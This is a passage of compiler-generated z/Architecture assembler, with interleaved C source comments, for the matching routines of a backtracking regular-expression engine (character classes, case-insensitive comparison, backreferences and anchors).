&& c <= 'Z') || CHI 15,193 BL @L284 CHI 15,233 BNH @L285 @L284 DS 0H * *** (c >= '0' && c <= '9'); CHI 15,240 BL @L287 CHI 15,249 BH @L287 @L285 DS 0H LHI 15,1 ; 1 B @L286 @L287 DS 0H LHI 15,0 ; 0 @L286 DS 0H LGFR 15,15 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "iswordchar" * (FUNCTION #800) * @AUTO#iswordchar DSECT DS XL168 * @CODE CSECT * * * * ....... start of incclass @LNAME801 DS 0H DC X'00000008' DC C'incclass' DC X'00' incclass DCCPRLG CINDEX=801,BASER=12,FRAME=176,SAVEAREA=NO,ENTRY=NO,ARC* H=ZARCH,LNAMEADDR=@LNAME801 * ******* End of Prologue * * * *** Rune *p; * *** for (p = cc->spans; p < cc->end; p += 2) LG 15,0(0,1) ; cc LA 15,8(0,15) B @L289 @L288 DS 0H * *** if (p[0] <= c && c <= p[1]) L 2,0(0,15) CL 2,12(0,1) BH @L292 L 2,12(0,1) ; c CL 2,4(0,15) BH @L292 * *** return 1; LGHI 15,1 ; 1 B @ret_lab_801 @L292 DS 0H * *** return 0; LA 15,8(0,15) @L289 DS 0H LG 2,0(0,1) ; cc LG 2,0(0,2) ; cc CGR 15,2 BL @L288 LGHI 15,0 ; 0 * *** } @ret_lab_801 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "incclass" * (FUNCTION #801) * @AUTO#incclass DSECT DS XL168 * @CODE CSECT * * * * ....... start of incclasscanon @LNAME802 DS 0H DC X'0000000D' DC C'incclasscanon' DC X'00' incclasscanon DCCPRLG CINDEX=802,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH* ,LNAMEADDR=@LNAME802 LGR 4,1 ; ptr to parm area * ******* End of Prologue * * * *** Rune *p, r; * *** for (p = cc->spans; p < cc->end; p += 2) LG 15,0(0,4) ; cc LA 2,8(0,15) B @L294 DS 0D @FRAMESIZE_802 DC F'184' @lit_802_386 DC AD(canon) @L293 DS 0H * *** for (r = p[0]; r <= p[1]; ++r) L 3,0(0,2) B @L298 @L297 DS 0H * *** if (c == canon(r)) L 5,12(0,4) ; c LLGFR 15,3 STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_802_386 ; canon @@gen_label618 DS 0H BALR 14,15 @@gen_label619 DS 0H CLR 5,15 BNE @L301 * *** return 1; LGHI 15,1 ; 1 B @ret_lab_802 @L301 DS 0H * *** return 0; AHI 3,1 @L298 DS 0H CL 3,4(0,2) BNH @L297 LA 2,8(0,2) @L294 DS 0H LG 15,0(0,4) ; cc LG 15,0(0,15) ; cc CGR 2,15 BL @L293 LGHI 15,0 ; 0 * *** } @ret_lab_802 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "incclasscanon" * (FUNCTION #802) * @AUTO#incclasscanon DSECT DS XL168 incclasscanon#r#0 DS 1F ; r * @CODE CSECT * * * * ....... start of strncmpcanon @LNAME803 DS 0H DC X'0000000C' DC C'strncmpcanon' DC X'00' strncmpcanon DCCPRLG CINDEX=803,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,* LNAMEADDR=@LNAME803 LGR 4,1 ; ptr to parm area * ******* End of Prologue * * LMG 2,3,0(4) ; a * *** Rune ra, rb; * *** int c; * *** while (n--) { B @L305 DS 0D @FRAMESIZE_803 DC F'192' @lit_803_392 DC AD(chartorune) @lit_803_394 DC AD(canon) @L304 DS 0H * *** if (!*a) return -1; CLI 0(2),0 BNE @L306 LGHI 15,-1 ; -1 B @ret_lab_803 @L306 DS 0H * *** if (!*b) return 1; CLI 0(3),0 BNE @L307 LGHI 15,1 ; 1 B @ret_lab_803 @L307 DS 0H * *** a += chartorune(&ra, a); LA 15,168(0,13) STG 15,176(0,13) STG 2,184(0,13) LA 1,176(0,13) LG 5,@lit_803_392 ; chartorune LGR 15,5 @@gen_label625 DS 0H BALR 14,15 @@gen_label626 DS 0H LGFR 15,15 LA 2,0(15,2) * *** b += chartorune(&rb, b); LA 15,172(0,13) STG 15,176(0,13) STG 3,184(0,13) LA 1,176(0,13) LGR 15,5 @@gen_label627 DS 0H BALR 14,15 @@gen_label628 DS 0H LGFR 15,15 LA 3,0(15,3) * *** c = canon(ra) - canon(rb); LLGF 15,168(0,13) ; ra STG 15,176(0,13) LA 1,176(0,13) LG 5,@lit_803_394 ; canon LGR 15,5 @@gen_label629 DS 0H BALR 14,15 @@gen_label630 DS 0H LR 6,15 LLGF 15,172(0,13) ; rb STG 15,176(0,13) LA 1,176(0,13) LGR 15,5 @@gen_label631 DS 0H BALR 14,15 @@gen_label632 DS 0H SLR 6,15 * *** if (c) BC 10,@L305 * *** return c; LGFR 15,6 B @ret_lab_803 * *** } @L305 DS 0H L 15,20(0,4) ; n LR 1,15 AHI 1,-1 ST 1,20(0,4) ; n LTR 15,15 BNZ @L304 * *** return 0; LGHI 15,0 ; 0 * *** } @ret_lab_803 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "strncmpcanon" * (FUNCTION #803) * @AUTO#strncmpcanon DSECT DS XL168 strncmpcanon#c#0 DS 1F ; c ORG @AUTO#strncmpcanon+168 strncmpcanon#ra#0 DS 1F ; ra ORG @AUTO#strncmpcanon+172 strncmpcanon#rb#0 DS 1F ; rb * @CODE CSECT * * * * ....... start of spawn @LNAME804 DS 0H DC X'00000005' DC C'spawn' DC X'00' spawn DCCPRLG CINDEX=804,BASER=0,FRAME=168,SAVEAREA=NO,ENTRY=NO,ARCH* =ZARCH,LNAMEADDR=@LNAME804 * ******* End of Prologue * * * *** t->pc = pc; LG 15,0(0,1) ; t LG 2,8(0,1) ; pc STG 2,0(0,15) ; t * *** t->sp = sp; LG 2,16(0,1) ; sp STG 2,8(0,15) ; offset of sp in Rethread * *** __memcpy(&t->sub,sub,sizeof t->sub); LG 1,24(0,1) LA 15,16(0,15) MVC 0(256,15),0(1) LA 15,256(0,15) LA 1,256(0,1) MVC 0(8,15),0(1) * *** } @ret_lab_804 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "spawn" * (FUNCTION #804) * @AUTO#spawn DSECT DS XL168 * @CODE CSECT * * * * ....... start of match @LNAME805 DS 0H DC X'00000005' DC C'match' DC X'00' match DCCPRLG CINDEX=805,BASER=12,FRAME=280904,ENTRY=NO,ARCH=ZARCH,L* NAMEADDR=@LNAME805 DCCPRV REG=9 ; Get PRV from DVT * ******* End of Prologue * * * *** Rethread ready[1000]; LG 15,0(0,1) ; pc LG 2,8(0,1) ; sp LG 6,16(0,1) ; bol L 7,28(0,1) ; flags LG 8,32(0,1) ; out * *** Resub scratch; * *** Resub sub; * *** Rune c; * *** unsigned int nready; * *** int i; * *** * *** * *** spawn(ready + 0, pc, sp, out); LA 1,328(0,13) LGR 3,13 AGFI 3,X'00044000' STG 1,2336(0,3) STG 15,2344(0,3) STG 2,2352(0,3) STG 8,2360(0,3) LA 1,2336(0,3) LG 15,@lit_805_398 ; spawn @@gen_label635 DS 0H BALR 14,15 @@gen_label636 DS 0H * *** nready = 1; LHI 5,1 ; 1 * *** * *** * *** while (nready > 0) { ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 DS 0D @FRAMESIZE_805 DC F'280904' @lit_805_398 DC AD(spawn) @lit_region_diff_805_1_2 DC A(@REGION_805_2-@REGION_805_1) @lit_805_404 DC AD(fprintf) @lit_805_403 DC AD(@strings@) @lit_805_402 DC Q(__stderrp) @lit_805_407 DC AD(match) @lit_805_409 DC AD(chartorune) @lit_805_411 DC AD(isnewline) @lit_805_413 DC AD(canon) @lit_805_416 DC AD(incclasscanon) @lit_805_417 DC AD(incclass) @lit_805_422 DC AD(strncmpcanon) @lit_805_427 DC AD(iswordchar) @L311 DS 0H * *** --nready; AHI 5,-1 * *** pc = ready[nready].pc; LLGFR 15,5 MGHI 15,280 LG 3,328(15,13) * *** sp = ready[nready].sp; LLGFR 15,5 MGHI 15,280 LG 2,336(15,13) ; offset of sp in Rethread * *** __memcpy(&sub,&ready[nready].sub,sizeof sub); LGR 15,13 AGFI 15,X'00044000' LLGFR 1,5 MGHI 1,280 LA 1,344(1,13) LA 15,2072(0,15) MVC 0(256,15),0(1) LA 15,256(0,15) LA 1,256(0,1) MVC 0(8,15),0(1) * *** for (;;) { @L313 DS 0H * *** switch (pc->opcode) { ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L316 DROP 12 USING @REGION_805_1,12 * *** case I_END: @L318 DS 0H * *** for (i = 0; i < REG_MAXSUB; ++i) { LHI 4,0 ; 0 B @L320 @L319 DS 0H * *** out->sub[i].sp = sub.sub[i].sp; LGFR 15,4 SLLG 15,15,4(0) ; *0x10 LGFR 1,4 LGR 2,13 AGFI 2,X'00044000' SLLG 1,1,4(0) ; *0x10 LG 1,2080(1,2) STG 1,8(15,8) * *** out->sub[i].ep = sub.sub[i].ep; LGFR 15,4 SLLG 15,15,4(0) ; *0x10 LGFR 1,4 SLLG 1,1,4(0) ; *0x10 LG 1,2088(1,2) ; offset of ep in 0000023 STG 1,16(15,8) ; offset of ep in 0000023 * *** } AHI 4,1 @L320 DS 0H CHI 4,16 BL @L319 * *** return 1; LGHI 15,1 ; 1 ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @ret_lab_805 DROP 12 USING @REGION_805_1,12 * *** case I_JUMP: @L323 DS 0H * *** pc = pc->x; LG 3,16(0,3) ; offset of x in Reinst * *** continue; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L316 DROP 12 USING @REGION_805_1,12 * *** case I_SPLIT: @L324 DS 0H * *** if (nready >= 1000) { CLFI 5,X'000003E8' BL @L325 * *** fprintf(__stderrp, "regexec: backtrack overflow\ * !\n"); LLGF 15,@lit_805_402 ; __stderrp LG 15,0(15,9) ; __stderrp LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LG 15,@lit_805_403 LA 15,498(0,15) STG 15,2344(0,1) LA 1,2336(0,1) LG 15,@lit_805_404 ; fprintf @@gen_label639 DS 0H BALR 14,15 @@gen_label640 DS 0H * *** return 0; LGHI 15,0 ; 0 ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @ret_lab_805 DROP 12 USING @REGION_805_1,12 * *** } @L325 DS 0H * *** spawn(&ready[nready++], pc->y, sp, &sub); LR 15,5 AHI 5,1 LLGFR 15,15 MGHI 15,280 LA 15,328(15,13) LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LG 15,24(0,3) STG 15,2344(0,1) STG 2,2352(0,1) LA 15,2072(0,1) STG 15,2360(0,1) LA 1,2336(0,1) LG 15,@lit_805_398 ; spawn @@gen_label641 DS 0H BALR 14,15 @@gen_label642 DS 0H * *** pc = pc->x; LG 3,16(0,3) ; offset of x in Reinst * *** continue; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L316 DROP 12 USING @REGION_805_1,12 * *** * *** case I_PLA: @L326 DS 0H * *** if (!match(pc->x, sp, bol, flags, &sub)) LG 15,16(0,3) LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) STG 2,2344(0,1) STG 6,2352(0,1) LGFR 15,7 STG 15,2360(0,1) LA 15,2072(0,1) STG 15,2368(0,1) LA 1,2336(0,1) LG 15,@lit_805_407 ; match @@gen_label643 DS 0H BALR 14,15 @@gen_label644 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L327 DS 0H * *** pc = pc->y; LG 3,24(0,3) ; offset of y in Reinst * *** continue; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L316 DROP 12 USING @REGION_805_1,12 * *** case I_NLA: @L328 DS 0H * *** __memcpy(&scratch,&sub,sizeof scratch); LGR 15,13 AGFI 15,X'00044000' LA 1,2072(0,15) LA 4,1800(0,15) MVC 0(256,4),0(1) LA 4,256(0,4) LA 1,256(0,1) MVC 0(8,4),0(1) * *** if (match(pc->x, sp, bol, flags, &scratch)) LG 1,16(0,3) STMG 1,2,2336(15) STG 6,2352(0,15) LGFR 1,7 STG 1,2360(0,15) LA 1,1800(0,15) STG 1,2368(0,15) LA 1,2336(0,15) LG 15,@lit_805_407 ; match @@gen_label646 DS 0H BALR 14,15 @@gen_label647 DS 0H LTR 15,15 BZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L329 DS 0H * *** pc = pc->y; LG 3,24(0,3) ; offset of y in Reinst * *** continue; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L316 DROP 12 USING @REGION_805_1,12 * *** * *** case I_ANYNL: @L330 DS 0H * *** sp += chartorune(&c, sp); LGR 4,13 AGFI 4,X'00044000' LA 15,2064(0,4) STG 15,2336(0,4) STG 2,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_409 ; chartorune @@gen_label649 DS 0H BALR 14,15 @@gen_label650 DS 0H LGFR 15,15 LA 2,0(15,2) * *** if (c == 0) CLFHSI 2064(4),0 BE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; * *** case I_ANY: @L332 DS 0H * *** sp += chartorune(&c, sp); LGR 4,13 AGFI 4,X'00044000' LA 15,2064(0,4) STG 15,2336(0,4) STG 2,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_409 ; chartorune @@gen_label652 DS 0H BALR 14,15 @@gen_label653 DS 0H LGFR 15,15 LA 2,0(15,2) * *** if (c == 0) CLFHSI 2064(4),0 BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L333 DS 0H * *** if (isnewline(c)) LGF 15,2064(0,4) STG 15,2336(0,4) LA 1,2336(0,4) LG 15,@lit_805_411 ; isnewline @@gen_label655 DS 0H BALR 14,15 @@gen_label656 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; * *** case I_CHAR: @L335 DS 0H * *** sp += chartorune(&c, sp); LGR 4,13 AGFI 4,X'00044000' LA 15,2064(0,4) STG 15,2336(0,4) STG 2,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_409 ; chartorune @@gen_label658 DS 0H BALR 14,15 @@gen_label659 DS 0H LGFR 15,15 LA 2,0(15,2) * *** if (c == 0) CLFHSI 2064(4),0 BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L336 DS 0H * *** if (flags & REG_ICASE) TML 7,1 BZ @L337 * *** c = canon(c); LLGF 15,2064(0,4) ; c STG 15,2336(0,4) LA 1,2336(0,4) LG 15,@lit_805_413 ; canon @@gen_label662 DS 0H BALR 14,15 @@gen_label663 DS 0H ST 15,2064(0,4) ; c @L337 DS 0H * *** if (c != pc->c) L 15,2064(0,4) ; c CL 15,4(0,3) BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; * *** case I_CCLASS: @L339 DS 0H * *** sp += chartorune(&c, sp); LGR 4,13 AGFI 4,X'00044000' LA 15,2064(0,4) STG 15,2336(0,4) STG 2,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_409 ; chartorune @@gen_label665 DS 0H BALR 14,15 @@gen_label666 DS 0H LGFR 15,15 LA 2,0(15,2) * *** if (c == 0) CLFHSI 2064(4),0 BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L340 DS 0H * *** if (flags & REG_ICASE) { TML 7,1 BZ @L341 * *** if (!incclasscanon(pc->cc, canon(c))) LLGF 15,2064(0,4) ; c STG 15,2336(0,4) LA 1,2336(0,4) LG 15,@lit_805_413 ; canon @@gen_label669 DS 0H BALR 14,15 @@gen_label670 DS 0H LG 1,8(0,3) STG 1,2336(0,4) LLGFR 15,15 STG 15,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_416 ; incclasscanon @@gen_label671 DS 0H BALR 14,15 @@gen_label672 DS 0H LTR 15,15 BZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } else { @L341 DS 0H * *** if (!incclass(pc->cc, c)) LG 15,8(0,3) STG 15,2336(0,4) LLGF 15,2064(0,4) ; c STG 15,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_417 ; incclass @@gen_label674 DS 0H BALR 14,15 @@gen_label675 DS 0H LTR 15,15 BZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } * *** break; * *** case I_NCCLASS: @L345 DS 0H * *** sp += chartorune(&c, sp); LGR 4,13 AGFI 4,X'00044000' LA 15,2064(0,4) STG 15,2336(0,4) STG 2,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_409 ; chartorune @@gen_label677 DS 0H BALR 14,15 @@gen_label678 DS 0H LGFR 15,15 LA 2,0(15,2) * *** if (c == 0) CLFHSI 2064(4),0 BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** goto dead; @L346 DS 0H * *** if (flags & REG_ICASE) { TML 7,1 BZ @L347 * *** if (incclasscanon(pc->cc, canon(c))) LLGF 15,2064(0,4) ; c STG 15,2336(0,4) LA 1,2336(0,4) LG 15,@lit_805_413 ; canon @@gen_label681 DS 0H BALR 14,15 @@gen_label682 DS 0H LG 1,8(0,3) STG 1,2336(0,4) LLGFR 15,15 STG 15,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_416 ; incclasscanon @@gen_label683 DS 0H BALR 14,15 @@gen_label684 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } else { @L347 DS 0H * *** if (incclass(pc->cc, c)) LG 15,8(0,3) STG 15,2336(0,4) LLGF 15,2064(0,4) ; c STG 15,2344(0,4) LA 1,2336(0,4) LG 15,@lit_805_417 ; incclass @@gen_label686 DS 0H BALR 14,15 @@gen_label687 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } * *** break; * *** case I_REF: @L351 DS 0H * *** i = (int)(sub.sub[pc->n].ep - sub.sub[pc->n].sp); LLGC 15,1(0,3) LGR 1,13 AGFI 1,X'00044000' SLLG 15,15,4(0) ; *0x10 LG 4,2088(15,1) ; offset of ep in 0000023 LLGC 15,1(0,3) SLLG 15,15,4(0) ; *0x10 SG 4,2080(15,1) * *** if (flags & REG_ICASE) { TML 7,1 BZ @L352 * *** if (strncmpcanon(sp, sub.sub[pc->n].sp, i)) STG 2,2336(0,1) LLGC 15,1(0,3) SLLG 15,15,4(0) ; *0x10 LG 15,2080(15,1) STG 15,2344(0,1) LLGFR 15,4 STG 15,2352(0,1) LA 1,2336(0,1) LG 15,@lit_805_422 ; strncmpcanon @@gen_label690 DS 0H BALR 14,15 @@gen_label691 DS 0H LTR 15,15 BZ @L354 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } else { @L352 DS 0H * *** if (__strncmp(sp,sub.sub[pc->n].sp,i)) LLGC 15,1(0,3) SLLG 15,15,4(0) ; *0x10 LGFR 10,4 LGR 11,2 LG 15,2080(15,1) LGHI 14,0 LTGR 1,10 BZ @@gen_label693 @@gen_label694 DS 0H CLC 0(1,11),0(15) BE @@gen_label695 IC 14,0(0,11) LLGC 11,0(0,15) SLGR 14,11 B @@gen_label693 @@gen_label695 DS 0H LA 15,1(0,15) IC 14,0(0,11) LA 11,1(0,11) LTGR 14,14 BZ @@gen_label693 BCTG 1,@@gen_label694 LGHI 14,0 @@gen_label693 DS 0H LTR 14,14 BZ @L354 * *** goto dead; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** } @L354 DS 0H * *** if (i > 0) LTR 4,4 BH *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** sp += i; LGFR 15,4 LA 2,0(15,2) @L356 DS 0H * *** break; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** * *** case I_BOL: @L357 DS 0H * *** if (sp == bol && !(flags & REG_NOTBOL)) CGR 2,6 BNE @L358 TML 7,4 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** break; @L358 DS 0H * *** if (flags & REG_NEWLINE) TML 7,2 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** if (sp > bol && isnewline(sp[-1])) CGR 2,6 BH *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 LGHI 15,-1 ; -1 LLC 15,0(15,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_411 ; isnewline @@gen_label702 DS 0H BALR 14,15 @@gen_label703 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; * *** case I_EOL: @L361 DS 0H * *** if (*sp == 0) CLI 0(2),0 BNE *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** break; @L362 DS 0H * *** if (flags & REG_NEWLINE) TML 7,2 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** if (isnewline(*sp)) LLC 15,0(0,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_411 ; isnewline @@gen_label707 DS 0H BALR 14,15 @@gen_label708 DS 0H LTR 15,15 BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; * *** case I_WORD: @L365 DS 0H * *** i = sp > bol && iswordchar(sp[-1]); CGR 2,6 BNH @L367 LGHI 15,-1 ; -1 LLC 15,0(15,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_427 ; iswordchar @@gen_label711 DS 0H BALR 14,15 @@gen_label712 DS 0H LTR 15,15 BZ @L367 LHI 4,1 ; 1 B @L366 @L367 DS 0H LHI 4,0 ; 0 @L366 DS 0H * *** i ^= iswordchar(sp[0]); LLC 15,0(0,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_427 ; iswordchar @@gen_label714 DS 0H BALR 14,15 @@gen_label715 DS 0H XR 4,15 * *** if (i) BNZ *+14 Around region break ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L312 DROP 12 USING @REGION_805_1,12 * *** break; ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L317 DROP 12 USING @REGION_805_1,12 * *** goto dead; * *** case I_NWORD: @L369 DS 0H * *** i = sp > bol && iswordchar(sp[-1]); CGR 2,6 BNH @L371 LGHI 15,-1 ; -1 LLC 15,0(15,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_427 ; iswordchar @@gen_label718 DS 0H BALR 14,15 @@gen_label719 DS 0H LTR 15,15 BZ @L371 LHI 4,1 ; 1 ALGF 12,@lit_region_diff_805_1_2 DROP 12 USING @REGION_805_2,12 B @L370 DROP 12 USING @REGION_805_1,12 @L371 DS 0H LHI 4,0 ; 0 ALGF 12,@lit_region_diff_805_1_2 @REGION_805_2 DS 0H DROP 12 USING @REGION_805_2,12 @L370 DS 0H * *** i ^= iswordchar(sp[0]); LLC 15,0(0,2) LGFR 15,15 LGR 1,13 AGFI 1,X'00044000' STG 15,2336(0,1) LA 1,2336(0,1) LG 15,@lit_805_435 ; iswordchar @@gen_label721 DS 0H BALR 14,15 @@gen_label722 DS 0H XR 4,15 * *** if (!i) BNZ @L312 * *** break; B @L317 DS 0D @lit_805_435 DC AD(iswordchar) @lit_region_diff_805_2_1 DC A(@REGION_805_2-@REGION_805_1) * *** goto dead; * *** * *** case I_LPAR: @L373 DS 0H * *** sub.sub[pc->n].sp = sp; LLGC 15,1(0,3) LGR 1,13 AGFI 1,X'00044000' SLLG 15,15,4(0) ; *0x10 STG 2,2080(15,1) * *** break; B @L317 * *** case I_RPAR: @L374 DS 0H * *** sub.sub[pc->n].ep = sp; LLGC 15,1(0,3) LGR 1,13 AGFI 1,X'00044000' SLLG 15,15,4(0) ; *0x10 STG 2,2088(15,1) ; offset of ep in 0000023 * *** break; B @L317 * *** default: * *** goto dead; * *** } @L316 DS 0H LLC 15,0(0,3) CLFI 15,X'00000010' BH @L312 LLGFR 15,15 LA 1,@@gen_label724 SLLG 15,15,4(0) ALG 12,8(1,15) LG 15,0(1,15) B 0(15,12) @@gen_label724 DS 0D DC AD(@L318-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L323-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L324-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L326-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L328-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L330-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L332-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L335-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L339-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L345-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L351-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L357-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L361-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L365-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L369-@REGION_805_1) DC AD(@REGION_805_1-@REGION_805_2) DC AD(@L373-@REGION_805_2) DC AD(@REGION_805_2-@REGION_805_2) DC AD(@L374-@REGION_805_2) DC AD(@REGION_805_2-@REGION_805_2) @L317 DS 0H * *** pc = pc + 1; LA 3,32(0,3) * *** } @L315 DS 0H B @L316 * *** dead: ; * *** } @L312 DS 0H CLFI 5,X'00000000' BNH *+14 Around region break SLGF 12,@lit_region_diff_805_2_1 DROP 12 USING @REGION_805_1,12 B @L311 DROP 12 USING @REGION_805_2,12 * *** return 0; LGHI 15,0 ; 0 * *** } 